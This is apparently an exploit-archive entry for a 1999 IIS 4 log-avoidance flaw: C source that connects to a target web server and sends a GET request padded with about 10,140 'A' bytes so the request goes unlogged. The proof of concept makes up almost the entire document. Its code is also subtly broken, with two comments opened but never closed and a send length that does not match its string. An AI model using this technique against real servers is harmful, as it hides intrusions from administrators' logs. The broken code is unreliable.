Microsoft IIS 4 (Windows NT) - Log Avoidance

// source: https://www.securityfocus.com/bid/191/info

An http get request against an IIS4 server will not be logged if the request is longer than 10150 bytes long. 

/* Compile with eg Visual C++ and link with wsock32.lib

#include <stdio.h>
#include <winsock2.h>
#include <string.h>


int main (int argc, char *argv[])
{
int snd, rcv, err, portno,a=0,b, res;
char resp[1024];
WORD wVersionRequested;
WSADATA wsaData;
struct sockaddr_in sa;
struct hostent *he;
SOCKET sock;

if (argc !=2)
{
printf("Usage:\nc:\\>%s target_machine\n\nDavid Litchfield\n21st January
1999\n", argv[0]);
return 0;
}
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );

if ( err != 0 )
{
printf("No winsock.dll\n");
return 0;
}
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
{
printf("No winsock.dll - 2nd\n");
WSACleanup( );
return 0;
}

if ((he = gethostbyname(argv[1])) == NULL)
{
printf("Invalid Host\n");
return 0;
}




sock=socket(AF_INET,SOCK_STREAM,0);
if (sock==INVALID_SOCKET)
{
printf("Invalid Socket!\n");
return 0;
}
else
{
printf("");
}

sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_family=AF_INET;



bind(sock,(struct sockaddr *)&sa,sizeof(sa));



sa.sin_port=htons(80);

memcpy(&sa.sin_addr,he->h_addr,he->h_length);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
{
printf("Failed to connect!\n");
}
else
{

/* This loop creates the REQUEST_METHOD and makes it 10140 bytes long

while (a < 10141)
{
snd=send(sock,"A", 1, 0);
a ++;
}
snd=send(sock," /default.asp HTTP/1.0\n\n",43,0);
rcv=recv(sock,resp,256,0);
printf("\n%s",resp);
rcv=recv(sock,resp,1024,0);
printf("\n%s\n\n",resp);

}


closesocket(sock);

return 0;
}